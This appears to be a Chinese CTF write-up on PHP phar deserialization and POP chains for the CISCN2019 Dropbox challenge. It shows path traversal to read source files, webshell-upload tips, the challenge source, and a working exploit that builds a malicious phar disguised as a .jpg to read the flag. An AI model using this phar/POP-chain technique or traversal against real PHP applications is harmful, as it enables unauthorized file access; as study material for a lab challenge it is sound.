PHP序列化整理

phar&&pop链

phar://是数据流的包装器，相当于压缩

本地实验

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

class B {
    public $name;
    public function __destruct()
    {
        echo $this->name;
    }
}

$phar = new Phar("test.phar");//创建一个Phar类实例
$phar->startBuffering();//启动 Phar 写入缓冲区，后续对 Phar 的修改会先存入缓冲区，不会立即写入磁盘
$phar->setstub("<?php __HALT_COMPILER();?>");//设置 Phar 文件的 "存根"（stub），这是 Phar 执行时的起始代码
//__HALT_COMPILER(); 是 Phar 必须包含的特殊标记，用于告诉 PHP 解释器这是一个 Phar 归档
//写phar文件的标志
$o = new B();
$o->name = 'JUlien';
$phar->setMetadata($o);
//给 Phar 归档设置 "元数据"（metadata），这里将对象$o存入元数据
//元数据会被序列化后存储在 Phar 中，读取时会自动反序列化
$phar->addFromString("test.txt","text");//向 Phar 归档中添加一个文件：
//文件名：test.txt（在 Phar 内部的路径）
//文件内容：字符串'test'
$phar->stopBuffering();

file_get_contents('phar://test.phar/');//用phar伪协议读取phar文件


//首先定义了o一个类，然后在反序列化时定义了一个B类，所以会输出两个JUlien

然后会在php文件下自动生成一个phar文件

alt text

看例题

[CISCN2019 华北赛区 Day1 Web1]Dropbox

开头看见注册登录（补药急着想到sql注入），按顺序登录后看到一个上传文件页面（想到一句话木马）

alt text
操作顺序：打开bp–>上传木马.php–>bp上修改Content-Type: image/jpeg,修改filename后缀为phtml，php5等

上传后发现有下载和删除的按钮
点击下载时，网页会从服务器中读取文件（想到文件包含）

文件包含特点：路径可控

  1. include(),require()函数中间有内容可以输入
  2. …/路径遍历

操作顺序：打开bp–>点击下载
alt text
可以看见下载请求是直接以明文的形式放在请求体中（想到能否可以读取系统文件）

所以放到repeater里面测试一下
alt text

我趣！读取成功
直接读flag
alt text

alt text

alt text
都不存在，说明不叫这个名字或者有过滤
想到过滤就想到源码，所以想到通过下载读取网页源码
alt text
为什么源码文件都没有，补药爆炸，因为读取文件的方法是测试通的，index也是肯定有的，所以想到沙盒

什么是沙盒

1
2
3
/var/www/
├─ app/          # 原应用目录（有source.php）
└─ sandbox/       # 新沙盒目录（仅允许访问这里）

@mkdir($sandbox);
尝试创建一个以 $sandbox（MD5 哈希值）为名称的目录。
chdir($sandbox);
将当前工作目录切换到刚刚创建的沙盒目录中。这意味着接下来的任何文件操作（如果有的话）都会在这个隔离的目录中进行。

所以想到把目录跳转到了沙盒中，所以向上跳转
https://free.wzznft.com/i/2025/11/29/h1b0y2.png
向上遍历两次成功了，这里我还是分不清到底哪种类型的题可以无脑跳转，我试了第三次就不行了
下载index.php

以下是思路和代码解释，全部包含在内了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}
?>


<!DOCTYPE html>
<html>

<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>网盘管理</title>

<head>
    <link href="static/css/bootstrap.min.css" rel="stylesheet">
    <link href="static/css/panel.css" rel="stylesheet">
    <script src="static/js/jquery.min.js"></script>
    <script src="static/js/bootstrap.bundle.min.js"></script>
    <script src="static/js/toast.js"></script>
    <script src="static/js/panel.js"></script>
</head>

<body>
    <nav aria-label="breadcrumb">
    <ol class="breadcrumb">
        <li class="breadcrumb-item active">管理面板</li>
        <li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上传文件</label></li>
        <li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li>
    </ol>
</nav>
<input type="file" id="fileInput" class="hidden">
<div class="top" id="toast-container"></div>

<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);//在class.php里面调用了FileList这个类
//所以追踪class.php，并找name，size
$a->Name();
$a->Size();
?>

看到包含一个class.php，下载class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
<?php

error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();//这里找到了同名函数，在user类
        //在销毁时把数据库关了
        //如何让db成为filelist对象
    }
}

class FileList {//结果这个类里面找不到name，size方法
    //为何没报错
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {

//因为调用了call方法
//当调用的函数找不到时，自动调用call方法
        array_push($this->funcs, $func);//将函数名 $func 存入当前类的 $funcs 数组（用于记录已注册的所有处理函数）。
        //array_push($arr, $value) 等价于 $arr[] = $value，这里用于 “注册函数”，方便后续追溯已执行的函数。
        foreach ($this->files as $file) {
            //遍历当前类的$files数组
            $this->results[$file->name()][$func] = $file->$func();
            //以文件名为键创建多个数组，文件名数组中以函数名为键，=>执行结果
            //为每个file对象执行name方法，所以看看file类
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {//打开
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {//列名
        return basename($this->filename);
    }

    public function size() {//检查大小
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {//删除
        unlink($this->filename);
    }

    public function close() {//看到关键点：读取文件内容
        return file_get_contents($this->filename);//想办法让这个文件名可控
        //根据提示，如果得到一个filelist的对象，让它执行close方法，就可以读取了
        //这时我已经沉溺于代码海洋里不知道自己初心是什么了，我们不是已经能读取任意文件了吗，为什么要绕过，
    }
}

//不要混乱，开始梳理pop链，从index开始，调用了class里filelist类里面两个不存在的方法，激活call方法，用call方法调用file方法
//题目为什么要做多余步骤呢，我觉得是个提示吧
//再看看file类有什么利用点

?>

在抓包中看到还有别的源码文件

delete.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {//这里打开文件夹没有设置限制，所以点击删除不要点击下载
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

download.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");//上传失败回来看到这一行，刚才我们用一大串pop链绕过flag去读取，结果还是读不了，这时不要爆炸，回来看到这里初始化设置了只能打开当前文件夹和etc文件夹和tmp文件夹
//那download被堵死了，还有delete//看delete
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {//查找文件名是flag就返回false
    //所以在读取flag步骤中做了拦截
    //整理pop链
    // a->close->filelist->call->close->file=new File('/flag')
    //但是没有魔术方法让a直接利用close方法，这时候要找close同名函数
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>

upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

include "class.php";

if (isset($_FILES["file"])) {
    $filename = $_FILES["file"]["name"];
    $pos = strrpos($filename, ".");
    if ($pos !== false) {
        $filename = substr($filename, 0, $pos);
    }
    
    $fileext = ".gif";
    switch ($_FILES["file"]["type"]) {
        case 'image/gif':
            $fileext = ".gif";
            break;
        case 'image/jpeg':
            $fileext = ".jpg";
            break;
        case 'image/png':
            $fileext = ".png";
            break;
        default:
            $response = array("success" => false, "error" => "Only gif/jpg/png allowed");
            Header("Content-type: application/json");
            echo json_encode($response);
            die();
    }

    if (strlen($filename) < 40 && strlen($filename) !== 0) {
        $dst = $_SESSION['sandbox'] . $filename . $fileext;
        move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
        $response = array("success" => true, "error" => "");
        Header("Content-type: application/json");
        echo json_encode($response);
    } else {
        $response = array("success" => false, "error" => "Invaild filename");
        Header("Content-type: application/json");
        echo json_encode($response);
    }
}
?>

根据以上思路构建exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php

class User {
    public $db;
    function __construct(){
        $this->db=new FileList();//让db属于filelist类,db自带close，这两个条件触发call
    }
}
class FileList{
    private $files;
    private $results;
    private $funcs;

    function __construct()
    {
        $this->files = [new File('/flag.txt')];//把flag文件名写入数组让file里面的close读取
        $this->results = [];
        $this->funcs = [];
    }
}

class File{
    public $filename;
    function __construct($name)
    {
        $this->filename = $name;//写入getconcent括号里面的内容
    }
}

$a = new User();
//从头梳理，a从User进入，phar反序列化调用destruct函数，调用close方法，class里面db.close作用于数据库，而我们让他作用于filelist，filelist里面没有close方法，调用call方法，call调用file里的close方法，close方法成功读取文件
$phar = new Phar("test.phar");//创建一个Phar类实例
$phar->startBuffering();//启动 Phar 写入缓冲区，后续对 Phar 的修改会先存入缓冲区，不会立即写入磁盘
$phar->setstub("<?php __HALT_COMPILER();?>");//设置 Phar 文件的 "存根"（stub），这是 Phar 执行时的起始代码
//__HALT_COMPILER(); 是 Phar 必须包含的特殊标记，用于告诉 PHP 解释器这是一个 Phar 归档
//写phar文件的标志

$phar->setMetadata($a);
//给 Phar 归档设置 "元数据"（metadata），这里将对象$o存入元数据
//元数据会被序列化后存储在 Phar 中，读取时会自动反序列化
$phar->addFromString("test.txt","text");//向 Phar 归档中添加一个文件：
//文件名：test.txt（在 Phar 内部的路径）
//文件内容：字符串'test'
$phar->stopBuffering();


//因为这道题刚好有上传和下载，就可以利用phar
//上传test.phar
//注意改后缀名，然后在下载的时候用phar伪协议读取

把生成的phar文件在upload上传

alt text
alt text
？？？做到这一步就要爆炸了
alt text
注意后缀是jpg，不是phar
alt text
成功读取flag

如有错误，多多指教

valine